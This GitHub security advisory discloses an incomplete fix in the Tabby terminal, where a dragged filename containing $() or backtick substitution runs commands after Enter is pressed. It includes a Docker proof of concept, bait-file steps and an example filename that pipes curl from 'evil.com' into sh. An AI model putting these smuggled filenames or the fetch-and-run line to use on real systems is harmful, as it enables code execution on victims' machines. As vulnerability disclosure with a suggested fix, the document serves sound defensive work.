Skip to content

Drag-and-drop path injection still allows RCE via shell command substitution (incomplete fix for GHSA-m937-jm93-pfp6)

High
Eugeny published GHSA-mq9v-2pgm-fxgh May 17, 2026

Package

tabby (Binary)

Affected versions

<= 1.0.233

Patched versions

1.0.234

Description

Summary

Tabby's path-drop decorator inserts the path of any file dragged onto a terminal tab directly into the active session's stdin. The recent fix for GHSA-m937-jm93-pfp6 ("Dragging and Dropping a File into Tabby Can Lead to Code Execution", May 7 2026) only strips C0 control characters (\x00\x1F, \x7F) and double-quotes paths that contain a space. It does not neutralise shell metacharacters, in particular $( … ) command substitution and backtick (`) substitution — both of which are still expanded inside POSIX double-quoted strings and inside PowerShell strings.

As a result, a file whose name contains $(…) or `…` causes the embedded command to execute under the user's shell as soon as the victim presses Enter, even though the dropped path appears, syntactically, to be just a filename. The patch in commit e70fafdf ("remove control characters from dropped paths") closes the auto-execute via embedded \n/\r but leaves the underlying injection class unaddressed.

This is a patch-bypass / incomplete remediation of GHSA-m937-jm93-pfp6.

Details

Vulnerable codetabby-electron/src/pathDrop.ts (HEAD 7e94e67):

// tabby-electron/src/pathDrop.ts:22-29
private injectPath (terminal: BaseTerminalTabComponent<any>, path: string) {
    path = path.replace(/[\x00-\x1F\x7F]/g, '')   // <-- only fix from GHSA-m937-jm93-pfp6
    if (path.includes(' ')) {
        path = `"${path}"`
    }
    path = path.replaceAll('\\', '\\\\')
    terminal.sendInput(path + ' ')
}

The function:

  1. Strips control characters. Prevents \n/\r auto-submit (the original GHSA-m937-jm93-pfp6 fix).
  2. Wraps in double quotes if the path contains a space. Does not escape ", $, `, \.
  3. Doubles backslashes. Fine for Windows separators in POSIX shells; irrelevant to the bug below.
  4. Calls terminal.sendInput(path + ' '), which is BaseTerminalTabComponent.sendInputsession.feedFromTerminal (tabby-terminal/src/api/baseTerminalTab.component.ts:494-502). The bytes are written verbatim into the running shell's PTY input — there is no escaping layer below this function.

POSIX shells (bash, zsh, sh, dash) and fish all expand $( … ) and backtick substitutions inside double-quoted strings:

Section 2.6.3 of POSIX.1-2017 (Shell Command Language): "Command substitution shall be performed when the word includes one of the following: $(...) or back-quotes." The expansion is performed inside double quotes.

Windows PowerShell behaves the same way for $( … ) (subexpression operator).

Therefore, when Tabby drops a filename like

/Users/victim/Downloads/report$(curl evil.com/x|sh).pdf

the bytes written to the shell are exactly that string, with no quoting (because there is no space) or wrapped in double quotes (if a space is present). When the user submits the line — typically by pressing Enter to use the path as an argument, e.g. cat <drop> — the shell expands $( … ) and runs the attacker-controlled command before invoking the outer command.

Trigger paths that produce the malicious filename without the victim's awareness:

  • A downloaded file (Browser → ~/Downloads) saved with an attacker-controlled Content-Disposition: filename value.
  • An archive extracted to disk that contains a malicious filename inside.
  • A file copied from a USB / network share / SMB / WebDAV mount.
  • A file created by another process the attacker controls.

webUtils.getPathForFile(file) (line 15) returns the absolute filesystem path of the dragged file — Tabby has no list of "safe" sources; any drop on the terminal tab triggers injectPath.

Affected component / scope

  • File: tabby-electron/src/pathDrop.ts, function injectPath
  • Decorator: PathDropDecorator (registered for every BaseTerminalTabComponent in the electron build)
  • Affects all session types whose backend evaluates POSIX or PowerShell command substitution: local bash/zsh/sh/fish, SSH/SFTP sessions to a POSIX host, WSL, serial/telnet sessions terminating at such a shell.
  • Not exploitable in cmd.exe (no $() / backtick semantics).

PoC

A self-contained Docker reproduction is provided. It re-implements injectPath byte-for-byte from tabby-electron/src/pathDrop.ts at HEAD and runs each output through a real bash to demonstrate that the substitution executes. No part of Tabby is mocked.

Dockerfile:

FROM node:20-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends bash zsh ca-certificates && rm -rf /var/lib/apt/lists/*
WORKDIR /poc
COPY injectPath.js /poc/injectPath.js
COPY run-poc.sh   /poc/run-poc.sh
RUN chmod +x /poc/run-poc.sh
CMD ["/poc/run-poc.sh"]

injectPath.js (verbatim transcription of the patched code):

function injectPath(path) {
    path = path.replace(/[\x00-\x1F\x7F]/g, '')
    if (path.includes(' ')) {
        path = `"${path}"`
    }
    path = path.replaceAll('\\', '\\\\')
    return path + ' '
}
process.stdout.write(injectPath(process.argv[2]))

run-poc.sh:

#!/usr/bin/env bash
set -u
OUT=/tmp/tabby_drop_rce_log
rm -f "$OUT"

run_case() {
    local label="$1" raw="$2"
    local injected; injected=$(node /poc/injectPath.js "$raw")
    echo "===== $label ====="
    echo "  Raw filename : $raw"
    echo "  Tabby sends  : ${injected}"
    bash -c "cat ${injected}" >/dev/null 2>&1 || true
    if [[ -s "$OUT" ]]; then
        echo "  RESULT       : RCE confirmed:"
        sed 's/^/                 /' "$OUT"; rm -f "$OUT"
    else
        echo "  RESULT       : (no side effect)"
    fi
    echo
}

F1='/home/victim/Downloads/report$(id > /tmp/tabby_drop_rce_log).pdf'
F2='/home/victim/Downloads/holiday photo $(id > /tmp/tabby_drop_rce_log).jpg'
F3='/home/victim/Downloads/notes`id > /tmp/tabby_drop_rce_log`.md'

run_case "1) no space, \$() substitution"           "$F1"
run_case "2) with space, \$() inside double quotes" "$F2"
run_case "3) backtick substitution"                 "$F3"

Build and run:

$ docker build -t tabby-pathdrop-poc .
$ docker run --rm tabby-pathdrop-poc
image

The marker file /tmp/tabby_drop_rce_log is populated in every case → id was executed by the receiving shell. None of the three filenames contain control characters, so the e70fafdf patch (replace(/[\x00-\x1F\x7F]/g, '')) has nothing to remove.

End-to-end reproduction in a real Tabby install (no Docker):

  1. Build/run Tabby from current master on macOS or Linux.
  2. Open a local terminal tab (default profile).
  3. Create the bait file:
    touch '/tmp/report$(touch /tmp/PWNED;id > /tmp/PWNED).pdf'
  4. At the terminal prompt, type cat (note the trailing space) and drag /tmp/report$(...).pdf from a file manager onto the Tabby terminal tab.
  5. Tabby inserts the path. Press Enter.
  6. /tmp/PWNED exists and contains the output of id — code executed under the user's shell.

Impact

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection") — Tabby builds a shell input string from an untrusted filename without escaping shell metacharacters.
  • Arbitrary code execution as the user running Tabby, on any session whose far end is a POSIX shell (bash/zsh/sh/fish/dash) or PowerShell. This includes local terminals, SSH sessions, WSL, telnet/serial sessions terminating at such a shell.
  • User interaction is limited to the drag itself plus a single Enter press in the natural workflow of "drag a file to use its path as an argument" — the very feature the dropper implements. Users have no visual cue that the path contains a substitution; long paths in particular hide the payload.
  • Patch bypass. GHSA-m937-jm93-pfp6 was disclosed and patched on May 7 2026 (severity High). The fix removed control characters but did not address shell metacharacter expansion. Users who upgraded believing the issue was fully closed remain vulnerable to the same outcome (RCE-via-dropped-file) through trivially different filenames.

Suggested fix

Two acceptable approaches:

  1. Single-quote the path and escape any embedded single-quote, the canonical way to pass a literal string to a POSIX shell:
    path = "'" + path.replace(/'/g, `'\\''`) + "'"
    This neutralises $, `, ", \, glob characters, history expansion, etc. For PowerShell sessions, use '…' (single-quoted) and double any embedded '.
  2. Use bracketed-paste mode (\x1b[200~ … \x1b[201~) and inject the path inside it. Modern shells with bracketed paste enabled will not perform expansion on bracketed-paste input until the user edits and submits it — and the metacharacters remain visible. (Tabby already wraps user pastes in bracketed-paste markers in BaseTerminalTabComponent.paste, line 579-581.) This is defence in depth; combine with (1).

Whichever path is chosen, ensure the same fix is applied for SSH/PowerShell sessions (the current code is shell-agnostic and assumes POSIX semantics).

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-46709

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits